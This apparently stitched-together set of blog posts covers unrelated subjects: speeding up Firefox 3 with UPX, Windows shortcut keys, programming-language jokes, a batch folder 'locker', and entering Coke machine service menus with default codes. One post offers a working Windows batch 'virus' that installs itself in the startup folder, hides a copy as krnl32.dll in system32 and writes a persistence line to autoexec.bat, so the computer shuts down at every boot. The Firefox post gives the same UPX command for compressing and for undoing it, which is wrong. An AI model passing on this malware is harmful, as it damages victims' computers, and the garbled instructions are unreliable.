firefox 3 load time Mozilla’s newest browser version, Firefox 3, enjoyed huge support when it launched, breaking a world record in the process. Over 8 million people, all over the world, combined to download Firefox 3, showing the potential of open source software to eclipse it’s mainstream rivals, mostly Internet Explorer.

With improved browsing features, Firefox 3’s performance over it’s earlier version Firefox 2 was plain to see. However, there was one issue that many users were starting to notice; the increased loading time when launching the browser.

This article will explain how to shorten the Firefox 3 load time, using free tools and your Windows command line.

Step One

Firstly, we will need to download a compression tool that will pack and reduce the size of your Firefox executable. This tool is called UPX (The Ultimate Packer for eXecutables).

Once downloaded, extract the file upx.exe and copy it to your Firefox installation directory (typically C:\Program Files\Mozilla Firefox).

firefox 3 load faster

Step Two

Close Firefox if you have it running. You will now need to open a command prompt window and change its path to the installation directory mentioned above. For those who are unfamiliar with the command prompt, there is help in a small file named Open Command Prompt Shell Extension. This will allow you to open a command window from the folder in Windows Explorer (see screenshot below).

Step Three

With the command prompt open and path changed, copy and paste the following script into your command prompt:

for %v in (*.exe *.dll components\*.dll plugins\*.dll) do upx “C:\Program Files\Mozilla Firefox\%v”

This command will execute the file packer which will compress your Firefox executable. Once it has finished, close all open browser windows and applications and re-launch Firefox. You should now notice an decrease in load time when starting your browser.

This tweak may be affected by any future updates to the browser but can be re-applied using the steps detailed above. Should you wish to reverse the process, you simply need to use the following script:

for %v in (*.exe *.dll components\*.dll plugins\*.dll) do upx “C:\Program Files\Mozilla Firefox\%v”

There are a few other tweaks you can employ to speed the launch of Firefox, namely uninstalling any unused Firefox Addons and changing your home page to a blank page using about:blank

Hopefully this tweak will allow you to improve load times on whatever computer you use. If you have any further tips on how to improve your Firefox load time, please leave a comment below.

You may already be aware that there are a number of keyboard shortcuts for windows that can help you to bring up the start menu, launch Explorer windows, view the desktop and so on.  But did you know that you can use keyboard shortcuts to launch any application? This feature is built right into Windows, but many people do not take advantage of it simply because they are unaware of it.

Setting up a keyboard shortcut for any application in your start menu is fast and simple. Steps below explain how to create program shortcuts in Windows:

  • Navigate the start menu to the application you want to shortcut. In this example, we will create a shortcut for the Calculator (one that I use all the time).

    • create-shortcuts-in-windows-xp

  • Right-click on the application, and click on Properties.

    • shortcuts-windows

  • In the Properties window, you’ll see a field titled Shortcut key. Go to that field and type the letter C (or any other key you wish to use to launch the Calculator).
  • Click OK

Now, whenever you want to quickly launch Calculator, just hit Ctrl-Alt-C (or whatever key you chose). I use application launch shortcut keys all the time for Calculator and Notepad. You can use it for those programs you constantly use and are sick of navigating through the Start menu to launch.

Do you use application launch shortcut keys? What other Windows shortcut keys do you find useful?

The proliferation of modern programming languages (all of which seem to have stolen countless features from one another) sometimes makes it difficult to remember what language you’re currently using. This guide is offered as a public service to help programmers who find themselves in such dilemmas.

370 JCL
You send your foot down to MIS with a 4000-page document explaining how you want it to be shot. Three years later, your foot comes back deep-fried.

Ada
After correctly packaging your foot, you attempt to concurrently load the gun, pull the trigger, scream, and shoot yourself in the foot. When you try, however, you discover that your foot is of the wrong type.

APL
You shoot yourself in the foot, then spend all day figuring out how to do it in fewer characters.

ASP.NET
Find a gun, it falls apart. Put it back together, it falls apart again. You try using the .GUN Framework, it falls apart. You stab yourself in the foot instead.

Assembly
You try to shoot yourself in the foot only to discover you must first reinvent the gun, the bullet, and your foot. After that’s done, you pull the trigger, the gun beeps several times, then crashes.

brainfuck
Just looking at the gun gives you a migrane, so forget about actually shooting it.

BASIC
Shoot yourself in the foot with a water pistol. On big systems, continue until entire lower body is waterlogged.

C
You try to shoot yourself in the foot, but find out the the gun is actually a howitzer cannon.

C++
You accidentally create a dozen clones of yourself and shoot them all in the foot. Emergency medical assistance is impossible since you can’t tell which are bitwise copies and which are just pointing at others and saying, “That’s me, over there.”

COBOL
Using a COLT 45 HANDGUN, AIM gun at LEG.FOOT, THEN place ARM.HAND.FINGER. on HANDGUN.TRIGGER and SQUEEZE. THEN return HANDGUN to HOLSTER. CHECK whether shoelace needs to be retied.

Concurrent Euclid
You shoot yourself in somebody else’s foot.

CSS
You shoot your right foot with one hand, then switch hands to shoot your left foot but you realize that the gun has turned into a banana.

DOS Batch
You aim the gun at your foot and pull the trigger, but only a weak gust of warm air hits your foot.

Forth
Foot in yourself shoot.

FORTRAN
You shoot yourself in each toe, iteratively, until you run out of toes, then you read in the next foot and repeat. If you run out of bullets, you continue anyway because you have no exception-handling ability.

HyperTalk
Put the first bullet of the gun into the foot of the left leg of you.
Answer the result.

Java
After importing java.awt.right.foot.* and java.awt.gun.right.hand.*, and writing the classes and methods of those classes needed, you’ve forgotten what the hell you’re doing.

JavaScript
You’ve perfected a robust, rich user experience for shooting yourself in the foot. You then find that bullets are disabled on your gun.

LISP
You shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds…

Machine Language
Before you can shoot yourself in the foot you must disassemble the gun at the atomic level and then reassemble it. After you do this, you find that the bullets require a special operator so the gun doesn’t work.

Modula-2
After realizing that you can’t actually accomplish anything in this language, you shoot yourself in the head.

Motif
You spend days writing a UIL description of your foot, the trajectory, the bullet, and the intricate scrollwork on the ivory handles of the gun. When you finally get around to pulling the trigger, the gun jams.

Paradox
Not only can you shoot yourself in the foot, your users can too.

Pascal
The compiler won’t let you shoot yourself in the foot.

Perl
You shoot yourself in the foot, but nobody can understand how you did it. Six months later, neither can you.

PHP
You shoot yourself in the foot with a gun made with pieces from 300 other guns.

PL/I
You discover 6,752 different guns for shooting yourself in the foot. Before you can decide which one to use, you starve to death.

Prolog
You tell your program you want to be shot in the foot. The program figures out how to do it, but the syntax doesn’t allow it to explain.

Python
You try to shoot yourself in the foot but you just keep hitting the whitespace between your toes.

Revelation
You’ll be able to shoot yourself in the foot just as soon as you figure out what all these bullets are for.

RPG
First you define your gun, bullet, and firing pin. Then, you define your foot, toes, and toenails. Then, you open chamber and load the gun. Then, you cock it. Now you’re finally ready to shoot yourself in the foot.

Ruby
Your foot is ready to be shot in roughly five minutes, but you just can’t find anywhere to shoot it.

SNOBOL
If you succeed, shoot yourself in the left foot.
If you fail, shoot yourself in the right foot.

SQL

SELECT @ammo:=bullet FROM gun WHERE trigger = ‘PULLED’;

INSERT INTO leg (foot) VALUES (@ammo);

Shell Script
You shoot yourself in the foot; then
Uoy toohs flesruoy no eht toof

UNIX
% ls
foot.c foot.h foot.o toe.c toe.o
% rm * .o
rm: .o: No such file or directory
% ls
%

Visual BASIC
You’ll shoot yourself in the foot, but you’ll have so much fun doing it that you won’t care.

Visual BASIC.NET
You spend a fortune on a high-powered, self-cleaning, self-aiming, automatic handgun with unlimited ammo, only to realize it takes a year to pull the trigger.

Visual FoxPro
You mock other sharpshooters for not being able to shoot both feet at once, but when you try to do it yourself you realize that you can’t properly handle the Microsoft.gun ActiveX.

This batch Program can be compiled very simply.

Just copy/paste it into notepad , and save it as “shutdown.bat” (with”")

What this “virus” does??

Well , it simply copies part of itself into startup ,and autoexec , so , next time computer starts program will start with windows ,

and shutdown it…

P.S. Use this program at your own responsability , i am NOT responsible for any damage you may cause to your/someone else`s

computer with this program. Once again , YOU USE THIS AT YOUR OWN RESPONSABILITY!!

Here is the program:

@echo off

:main
set xpstart=c:\docume~1\alluse~1\startm~1\programs\startup
set 9xstart=%windir%\startm~1\programs\startup
if exist %xpstart% goto winxp
if exist %9xstart% goto win9x
goto end

:winxp
echo %windir%\system32\shutdown.exe -s -t 01 > %xpstart%\krnl32.bat
copy %xpstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %xpstart%\krnl32.bat copy %windir%\system32\krnl32.dll %xpstart%\krnl32.bat >> autoexec.bat
goto end

:win9x
echo RUNDLL SHELL32.DLL,SHExitWindowsEx 1 > %9xstart%\krnl32.bat
copy %9xstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %9xstart%\krnl32.bat copy %windir%\system32\krnl32.dll %9xstart%\krnl32.bat >> autoexec.bat
goto end

:end

Just copy/paste it in notepad , and sav e it as anything.bat…

DO NOT USE IT ON YOUR COMPUTER!!!

Have a nice day ;-)

This program is very useful for advanced hiding/locking files…

I personally use it to hide xxx content on my computer :)

Here is the program:

cls
@ECHO OFF
Folder lock
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock this folder (Y/N)??
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==yes goto LOCK
if %cho%==Yes goto LOCK
if %cho%==YES goto LOCK
if %cho%==n goto END
if %cho%==no goto END
if %cho%==nO goto END
if %cho%==No goto END
if %cho%==NO goto END
if %cho%==N goto END
echo Are you retarded? Type Yes or No :P
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder  is locked :)
goto End
:UNLOCK
echo Tell Meh ur pass :P
set/p “pass=>”
if NOT %pass%== YOUR PASSWORD

goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder unlocked!

goto End

:FAIL

echo WTF? Wrong password man!

goto end
:MDLOCKER
md Private
echo Folder private is sucessfuly maked!

goto End
:End

Ok , now , let me explain to you how to use this program , and how to customize it…

First thing you need to do is to set ur pass.

Go to:

if NOT %pass%== YOUR PASSWORD

Replace YOUR PASSWORD , with password you will use.

Example:

If i want my password to be 12345 , i will set it like this:

if NOT %pass%== 12345

Now , all you need to do , is to copy/paste this program into notepad , and save it as “name.bat”

You can replace name with any name you like , but remember that you need to keep “”.

Now , start your newly created program.

At first start , program will make folder Private in directory that program is in.

Now , put files that you want to lock in folder private.

When you start program again , it will ask you to confirm folder locking.

Confirm with y or yes

And , magic!

Folder is now invisible.

If u want to unlock it , just open my program again , and type in ur pass.

If you forget ur password , just right click on program , and press on edit :)

Enjoy ur privacy :)

Want to dazzle your friends with your technical powers while checking out the profitability of a vending machine route? Read on. Most Coke machines built since the late 1990s can be hacked with a simple access code. Once you enter the code, you can find out all kinds of information about the machine’s sales.
Please note that this article does not teach you how to steal drinks from drink machines. Stealing is, of course, illegal.

Steps

  1. Find a machine that has an LED screen and that is by “Royal Vendors”. There should be a label on both sides of the machine. The small screen will typically scroll a message such as “Ice Cold Cokes”. If the machine’s LED display simply displays the price, the steps below may not work.
  2. Enter the access code by using the drink selection buttons. The default access code is 4, 2, 3, 1, but the buttons aren’t numbered. They will either say nothing or have pictures of Coke, Diet Coke, Sprite, and other Coca-Cola products on them.
    • If the buttons are in a column, button 1 is the top one. Button 2 is the second one from the top, and so on.
    • If they are in a grid or other format, button 1 is the top left one. Button 2 is the one directly to the right of that, and so on.
  3. Scroll through the menu to find out information about the machine. Once you enter the correct access code, the message on the LED screen will change. Typically it will say “EROR,” but on some machines it may simply display a number. Use the buttons to navigate through the menu.
    • Press button 1 at any time to return to the previous menu or to exit the menu to go back to normal mode.
    • Press button 2 to scroll up through the selections.
    • Press button 3 to scroll down through the selections.
    • Press button 4 to select the displayed menu option.

Example Menu Options

  • EROR: This menu option displays error messages for the machine, including problems that occurred with the refrigeration system, the vending mechanism, the bill changer, and the bill validator. To see error messages, press the select button (button 4) when the display shows EROR, and then scroll through to see specific errors. Select an individual error to see more details. Generally if only one type of error has occurred you won’t be able to scroll through other error options.
  • CASH: This option allows you to see the machine’s total historical cash intake, as well as the resettable cash counted for each drink selection. Press the select button when the the LED display shows CASH. This will show you the historical cash counted by the machine. Note that it will include fractions of a dollar, such that if it displays 1452425, the historical cash count is $14,524.25. Use the scroll buttons (2 or 3) to navigate to the cash counts for each slot (each beverage selection). The number displayed will show first the slot number and then the revenue for that slot number since the last time the counter was reset. In some machines, it will be preceded by the letters CA or SL (for “slot”).
  • SALE: This option allows you to see the machine’s historical total number of sales, as well as the resettable number of sales for each drink selection. It works like the CASH menu above, except that the numbers displayed reflect the number of beverages sold.
  • RTN: Sometimes labeled EXIT, this option stands for “Return To Normal” and allows you to exit the menu completely and return the machine to normal mode. Press the select button to exit.

Alternate Menu

  • On machines with two panels of six buttons on each side, the same 4-2-3-1 code will access the Electronic Counter for the machine. After accessing this menu, press 1 to see the total lifetime sales, 2 for the total lifetime items sold, 3 for a breakdown of items sold of each selection, 4 for a breakdown of cash generated for each selection, and 5 for the machine’s internal temperature. After a while without input, the machine will return to the normal menu. On some machines, the 6 button will close the menu.

Tips

  • This only works for Coke machines, which may sell products such as Barq’s Root Beer, Sprite, Dasani, Evian, Fanta, Fresca, Frutopia, Full Throttle, Powerade, Hi-C, Minute Maid, Nestea, Odwalla, Mr. Pibb, Planet Java, Seagram’s Ginger Ale, Simply Orange, Sparkletts, or Tab in addition to Coke and Diet Coke.
  • This hack also usually works on machines that sell just Dasani water – a product of the Coca-Cola company.
  • In general, these are the only options you can access without having the door unlocked and open. Different machines may list these options in somewhat different formats, so experiment a bit to learn what each new one does.
  • If you need to exit the menu quickly (i.e. when you just can’t wait another second to buy an ice cold Coke) press the change (coin return) button. This will normally quit the menu.
  • On some machines, holding the coin return button will display the machine’s inner temperature.
  • Vending machine owners or service people have the option to change the access sequence from 4231 to some other combination of buttons, but they rarely do. This is probably because having one code makes it easier for anyone to service all the machines along a route. It may also be because the information you can access through the external menu with the door closed is limited and fairly harmless.
  • There are several videos available on the Internet that show people using this hack. Many claim to be able to change prices or get a free drink, but the videos don’t actually show them doing so.
  • In order to get to the same menu in a machine that sells Pepsi products, simply enter 1,3,2,4. All the menu options should be the same. (This does not work on all Pepsi machines)
  • This might also work on some Coke vending machines that have a numeric keypad instead of buttons for specific drinks. Enter in the Coke code as usual, and you’ll get to the sales menu!
  • Some machines require you to enter the code twice.
  • Several machines display a list of more codes, but most have the dispense options disabled.

Warnings

  • This will generally be frowned upon by store staff or machine service people, so exercise caution when trying it out, and be sure to follow any applicable laws in your jurisdiction.
  • Don’t do this if there’s a line behind you, as people may get upset waiting for you.
  • You might waste your time doing this, as Coca-Cola has distributed new firmware to their vendors that would render these instructions unusable.
  • You may be asked to leave or be fined if the owner catches you.
  • Use common sense, don’t do it when others are around or in front of a camera.
